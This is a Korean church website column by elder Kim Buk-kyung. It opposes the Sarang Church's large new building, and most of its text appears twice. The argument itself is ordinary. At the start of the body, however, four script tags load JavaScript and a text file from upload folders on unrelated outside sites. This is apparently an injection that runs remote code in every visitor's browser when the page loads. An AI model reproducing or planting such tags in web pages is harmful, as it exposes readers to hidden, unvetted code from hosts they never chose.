칼럼 [김북경 칼럼] 한국교회에 대한 제언
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작성자 by 관리자 / 작성일10-02-23 19:01 / 조회 4,092 / 댓글 1본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> 요새 사랑의 교회의 건축문제로 여러 가지 의견을 나누게 된 것은 아직 한국에 지각 있는 사람들이 있다는 것을 증명하고 있습니다. 그렇다면 한국교회와 사회에 소망이 있다고 보겠습니다.
과거에 대형교회 건물이 섰을 때는 이런 항의가 없었는데 왜 이번에는 반대의견이 강한가 생각해 보았습니다. 그 이유는 아마 사랑의 교회를 사랑하고 사랑의 교회를 한국교회의 모범으로 생각하던 많은 사람들이 실망했던 것 같습니다. 이런 각도에서 현 상황을 바라보면 한편으로는 실망적이지만 또 한편으로는 한국교인들의 양심이 살아있다는데 위안을 삼습니다.
그렇다면 우리는 시기나 교만의 눈으로 이 사태를 볼 것이 아니라 사랑과 염려의 말로 고언 해야 할 것입니다.
이런 의미에서 필자는 교회의 본질과 목적 그리고 실제적 해결 방안을 제안해 보고자 합니다.
1. 교회의 본질은 하나님이 선물로 주신 믿는 사람들의 공동체입니다. 교회는 예수를 주님으로 모신 세계의 모든 교회를 포함합니다. 이것을 우주적 교회라고 합니다. 그렇다면 모든 교회는 지리적 인종적 교파적 신학적인 담을 넘어서 하나이고, 그러므로 교회는 상호 영향을 미칠 수 밖에 없고, 서로 돕고 사는 공동체임을 인식 해야 합니다. 교회가 아프면 같이 울어주고, 경사가 나면 같이 기뻐해주는 것이 교회가족공동체가 하는 삶의 형태입니다. 어떤 교회도 내가 내 밥 먹는데 네가 무슨 상관이냐라는 이론은 어불성설입니다.
그러면 사랑의 교회가 건축을 하는 경사가 났는데 왜 배 아파하느냐라고 묻는다면 다음과 같이 대답하겠습니다. 즉 사랑의 가족공동체가 하고자 하는 일이 한국 교회에 미치는 영향이 좋은 것 보다 나쁜 것이 더 많다는 데 있습니다.
교회건축을 하면 어떤 좋은 영향이 있을까를 제 나름대로 상상해 보았습니다.
가. 교회가 크고 힘이 있어야(다시 말해 돈이 있어야) 주님의 일을 할 수 있다.
대답: 일리가 있는 말입니다. 그래서 대형교회가 좋은 일을 많이 해 온 것을 인정합니다.
대안: 큰 일은 형제교회들이 힘을 모아서 할 수 있습니다. 교회에는 당회와 노회 그리고 총회라는 모임이 있고 교회연합체가 있어서 개 교회가 할 수 없는 일을 힘을 합해 해나갑니다. (예: 성경 번역 출판; 찬송가 발행 등) 교회에서도 일을 혼자 다 하는 소위 “믿음이 좋다”는 형제자매들이 있는데 이것도 하나님의 방식이 아니라고 생각합니다. 고린도 교회의 문제중의 하나가 이런 독불장군의 목소리가 커지는데 있었지요. 영국의 액튼 경이 말 했듯이 “권세는 부패하고 그리고 절대적인 권세는 절대적으로 부패하게” 되어있습니다. 이것이 정치분야든지 종교분야든지 간에 인간이 모인 곳에는 진실인 것을 한국교회 역사를 봐서도 알 수 있습니다.
나. 현 교회건물이 너무 작다.
대답: 이것도 이해 합니다. 그렇다고 하나님이 축복하셔서 많은 사람을 계속 보내면 어떻게 할 것인가? 계속 더 크게 질 것인가?
대안: 하나님이 주신 축복은 계속 나눠 줘야 합니다. (주는 자가 받는 자보다 복이 있다고 했습니다. 성도를 물건처럼 주고 받는다는 표현을 써서 죄송하다.) 교회 성도 수가 적정선에 도달하면 다른 교회에 보내서 교회가 골고루 자라게 해야 합니다.
교회는 성도들을 자기동네교회로 보내야 합니다. 교회는 지방 공동체로 자라고 존재 해야 합니다. 마치 민주정치가 발전하려면 지방자치제가 발전해야 하는 것처럼 말입니다. 교회는 몇 십 리 떨어져 사는 타향사람들이 명 설교를 듣고 그 비싸고 더러운 휘발유 매연을 공중에 내 뿜으면서 다니는 곳이 되어서는 안됩니다. 이런 신앙생활은 미국에서 들어온 “성공적인 교회”의 방법론 때문입니다.
만약에 사랑의 교회가 건축을 기어코 해야 한다면 주차장은 짓지 안았으면 합니다. 첫째는 원거리에서 오는 성도들을 억제하고, 둘째로 대중교통을 쓰도록 장려하기 위함입니다. 그러면 환경에도 도움이 될 것입니다. 셋째로 동네교회에 가서 은혜 받고 동네 발전에 기여할 수 있기를 바라는 것입니다.
큰 교회에 가는 이유는 소속감이라는 심리적인 이유도 있겠지만 명 설교를 들어야 되겠다는 이유도 무시 못합니다. 물론 말씀이 중요하고 좋은 설교를 들어야 은혜가 될 수 있습니다. 그러나 교회는 말씀을 듣는데 그쳐서는 안됩니다. 사실 한국교회는 말씀의 홍수가 나서 홍수 때 깨끗한 물을 찾기 힘든 것 같이 되어버렸습니다. 누룩이 밀가루 반죽 구석 구석에 퍼져야 빵이 부풀듯이 성도들이 각 지방에 흩어져서 들은 말씀대로 살아야 하는 것입니다.
교단 총회에서는 전국을 교구로 나누어서 지방자치(종교적 정치적 문화적인)를 장려하고 지 교회(Local Church)가 명실공히 동네의 빛과 소금이 되는 역할을 하도록 바라는 것입니다. 세종시 제안이 바로 권력의 집중문제를 해결하려는 한 방안이 아닌가요?
사랑의 교회건축이 줄 나쁜 영향은 무엇일까요?
가. 화려하고 웅장한 교회건물은 축복은 물질적 성공이라는 신학을 세상에 선포하는 좋은 상징물 입니다. 사랑의 교회는 물질=축복신학을 믿지 안는다고 봅니다.
나. 소자를 넘어지게 합니다. 주위의 중소교회는 더욱 고전을 면치 못할 것입니다. 누가 주위의 중소교회 목회자들을 다 먹여 살리려면 지으라고 했듯이 주위의 형제들을 돌봐야 하는 책임이 우리에게 있습니다. 제 생각이 아무리 옳다고 해도 혼자 나아가는 것은 선한 사마리아인도 안 한 일입니다.
그렇다면 사랑의 교회는 왜 교회건축을 고집하는 것일까요?
아래는 제 마음 깊숙이 자리잡고 있는 어두운 생각을 들여다 본 것입니다.
가. 아직도 우리는 “어굴 하면 성공하라.”라는 진화론의 적자생존의 철학 속에서 헤 메고 있음을 알게 됩니다. 우리는 “제일”, “중앙”, “부자”, “꼬리가 되지 말고 “머리”가 되어야 산다는 생각이 믿는다는 우리들 마음가운데 바벨탑같이 우뚝 서 있음을 직시해야 합니다. 예수님은 이에 대해서 무엇이라 말씀하셨는지는 반복 안 하겠습니다. 성경을 너무 잘 아시는 분 들에게 성경을 인용한다는 것은 모욕이 될 수 있으니까요. 단, “소 귀에 경읽기” 격이 안되었으면 하는 바램이 있습니다.
나. 공동의회에서 대다수의 찬성을 얻었다는 사실은 우리의 또 다른 어두운 면을 보여줍니다. 투표자(성도들)의 대다수는 누구입니까? 힘 있는 강남 사람들이 아닙니까? 힘 있는 사람들이 힘있는 단체에 속하여서 힘 있게 살아가는 모습을 예수님은 어떻게 생각 하실까요?
두 가지 예화를 들고 마치겠습니다. D A Carson교수는 자기 아버지를 존경하는 이유중의 하나가 일생 동안 카나다의 조그만 동네교회에서 목회하셨다더군요. 또 한 얘기는 영국 어느 작은 시골교회에 한 소년이 매주 출석해서 설교를 열심히 들었답니다. 이 소년이 바로 스퍼젼 목사였답니다.
비판하는 저희들도 같은 오류를 범하고 있지 않은지 반성해 봅시다.
김북경 장로
※註 : 에스라성경대학원대학교 총장이신 김북경 장로께서 "사랑의교회" 1인시위 참가 부탁 관련 메일을 보시고 멀리 영국에서 보내주신 글입니다.
과거에 대형교회 건물이 섰을 때는 이런 항의가 없었는데 왜 이번에는 반대의견이 강한가 생각해 보았습니다. 그 이유는 아마 사랑의 교회를 사랑하고 사랑의 교회를 한국교회의 모범으로 생각하던 많은 사람들이 실망했던 것 같습니다. 이런 각도에서 현 상황을 바라보면 한편으로는 실망적이지만 또 한편으로는 한국교인들의 양심이 살아있다는데 위안을 삼습니다.
그렇다면 우리는 시기나 교만의 눈으로 이 사태를 볼 것이 아니라 사랑과 염려의 말로 고언 해야 할 것입니다.
이런 의미에서 필자는 교회의 본질과 목적 그리고 실제적 해결 방안을 제안해 보고자 합니다.
1. 교회의 본질은 하나님이 선물로 주신 믿는 사람들의 공동체입니다. 교회는 예수를 주님으로 모신 세계의 모든 교회를 포함합니다. 이것을 우주적 교회라고 합니다. 그렇다면 모든 교회는 지리적 인종적 교파적 신학적인 담을 넘어서 하나이고, 그러므로 교회는 상호 영향을 미칠 수 밖에 없고, 서로 돕고 사는 공동체임을 인식 해야 합니다. 교회가 아프면 같이 울어주고, 경사가 나면 같이 기뻐해주는 것이 교회가족공동체가 하는 삶의 형태입니다. 어떤 교회도 내가 내 밥 먹는데 네가 무슨 상관이냐라는 이론은 어불성설입니다.
그러면 사랑의 교회가 건축을 하는 경사가 났는데 왜 배 아파하느냐라고 묻는다면 다음과 같이 대답하겠습니다. 즉 사랑의 가족공동체가 하고자 하는 일이 한국 교회에 미치는 영향이 좋은 것 보다 나쁜 것이 더 많다는 데 있습니다.
교회건축을 하면 어떤 좋은 영향이 있을까를 제 나름대로 상상해 보았습니다.
가. 교회가 크고 힘이 있어야(다시 말해 돈이 있어야) 주님의 일을 할 수 있다.
대답: 일리가 있는 말입니다. 그래서 대형교회가 좋은 일을 많이 해 온 것을 인정합니다.
대안: 큰 일은 형제교회들이 힘을 모아서 할 수 있습니다. 교회에는 당회와 노회 그리고 총회라는 모임이 있고 교회연합체가 있어서 개 교회가 할 수 없는 일을 힘을 합해 해나갑니다. (예: 성경 번역 출판; 찬송가 발행 등) 교회에서도 일을 혼자 다 하는 소위 “믿음이 좋다”는 형제자매들이 있는데 이것도 하나님의 방식이 아니라고 생각합니다. 고린도 교회의 문제중의 하나가 이런 독불장군의 목소리가 커지는데 있었지요. 영국의 액튼 경이 말 했듯이 “권세는 부패하고 그리고 절대적인 권세는 절대적으로 부패하게” 되어있습니다. 이것이 정치분야든지 종교분야든지 간에 인간이 모인 곳에는 진실인 것을 한국교회 역사를 봐서도 알 수 있습니다.
나. 현 교회건물이 너무 작다.
대답: 이것도 이해 합니다. 그렇다고 하나님이 축복하셔서 많은 사람을 계속 보내면 어떻게 할 것인가? 계속 더 크게 질 것인가?
대안: 하나님이 주신 축복은 계속 나눠 줘야 합니다. (주는 자가 받는 자보다 복이 있다고 했습니다. 성도를 물건처럼 주고 받는다는 표현을 써서 죄송하다.) 교회 성도 수가 적정선에 도달하면 다른 교회에 보내서 교회가 골고루 자라게 해야 합니다.
교회는 성도들을 자기동네교회로 보내야 합니다. 교회는 지방 공동체로 자라고 존재 해야 합니다. 마치 민주정치가 발전하려면 지방자치제가 발전해야 하는 것처럼 말입니다. 교회는 몇 십 리 떨어져 사는 타향사람들이 명 설교를 듣고 그 비싸고 더러운 휘발유 매연을 공중에 내 뿜으면서 다니는 곳이 되어서는 안됩니다. 이런 신앙생활은 미국에서 들어온 “성공적인 교회”의 방법론 때문입니다.
만약에 사랑의 교회가 건축을 기어코 해야 한다면 주차장은 짓지 안았으면 합니다. 첫째는 원거리에서 오는 성도들을 억제하고, 둘째로 대중교통을 쓰도록 장려하기 위함입니다. 그러면 환경에도 도움이 될 것입니다. 셋째로 동네교회에 가서 은혜 받고 동네 발전에 기여할 수 있기를 바라는 것입니다.
큰 교회에 가는 이유는 소속감이라는 심리적인 이유도 있겠지만 명 설교를 들어야 되겠다는 이유도 무시 못합니다. 물론 말씀이 중요하고 좋은 설교를 들어야 은혜가 될 수 있습니다. 그러나 교회는 말씀을 듣는데 그쳐서는 안됩니다. 사실 한국교회는 말씀의 홍수가 나서 홍수 때 깨끗한 물을 찾기 힘든 것 같이 되어버렸습니다. 누룩이 밀가루 반죽 구석 구석에 퍼져야 빵이 부풀듯이 성도들이 각 지방에 흩어져서 들은 말씀대로 살아야 하는 것입니다.
교단 총회에서는 전국을 교구로 나누어서 지방자치(종교적 정치적 문화적인)를 장려하고 지 교회(Local Church)가 명실공히 동네의 빛과 소금이 되는 역할을 하도록 바라는 것입니다. 세종시 제안이 바로 권력의 집중문제를 해결하려는 한 방안이 아닌가요?
사랑의 교회건축이 줄 나쁜 영향은 무엇일까요?
가. 화려하고 웅장한 교회건물은 축복은 물질적 성공이라는 신학을 세상에 선포하는 좋은 상징물 입니다. 사랑의 교회는 물질=축복신학을 믿지 안는다고 봅니다.
나. 소자를 넘어지게 합니다. 주위의 중소교회는 더욱 고전을 면치 못할 것입니다. 누가 주위의 중소교회 목회자들을 다 먹여 살리려면 지으라고 했듯이 주위의 형제들을 돌봐야 하는 책임이 우리에게 있습니다. 제 생각이 아무리 옳다고 해도 혼자 나아가는 것은 선한 사마리아인도 안 한 일입니다.
그렇다면 사랑의 교회는 왜 교회건축을 고집하는 것일까요?
아래는 제 마음 깊숙이 자리잡고 있는 어두운 생각을 들여다 본 것입니다.
가. 아직도 우리는 “어굴 하면 성공하라.”라는 진화론의 적자생존의 철학 속에서 헤 메고 있음을 알게 됩니다. 우리는 “제일”, “중앙”, “부자”, “꼬리가 되지 말고 “머리”가 되어야 산다는 생각이 믿는다는 우리들 마음가운데 바벨탑같이 우뚝 서 있음을 직시해야 합니다. 예수님은 이에 대해서 무엇이라 말씀하셨는지는 반복 안 하겠습니다. 성경을 너무 잘 아시는 분 들에게 성경을 인용한다는 것은 모욕이 될 수 있으니까요. 단, “소 귀에 경읽기” 격이 안되었으면 하는 바램이 있습니다.
나. 공동의회에서 대다수의 찬성을 얻었다는 사실은 우리의 또 다른 어두운 면을 보여줍니다. 투표자(성도들)의 대다수는 누구입니까? 힘 있는 강남 사람들이 아닙니까? 힘 있는 사람들이 힘있는 단체에 속하여서 힘 있게 살아가는 모습을 예수님은 어떻게 생각 하실까요?
두 가지 예화를 들고 마치겠습니다. D A Carson교수는 자기 아버지를 존경하는 이유중의 하나가 일생 동안 카나다의 조그만 동네교회에서 목회하셨다더군요. 또 한 얘기는 영국 어느 작은 시골교회에 한 소년이 매주 출석해서 설교를 열심히 들었답니다. 이 소년이 바로 스퍼젼 목사였답니다.
비판하는 저희들도 같은 오류를 범하고 있지 않은지 반성해 봅시다.
김북경 장로
※註 : 에스라성경대학원대학교 총장이신 김북경 장로께서 "사랑의교회" 1인시위 참가 부탁 관련 메일을 보시고 멀리 영국에서 보내주신 글입니다.
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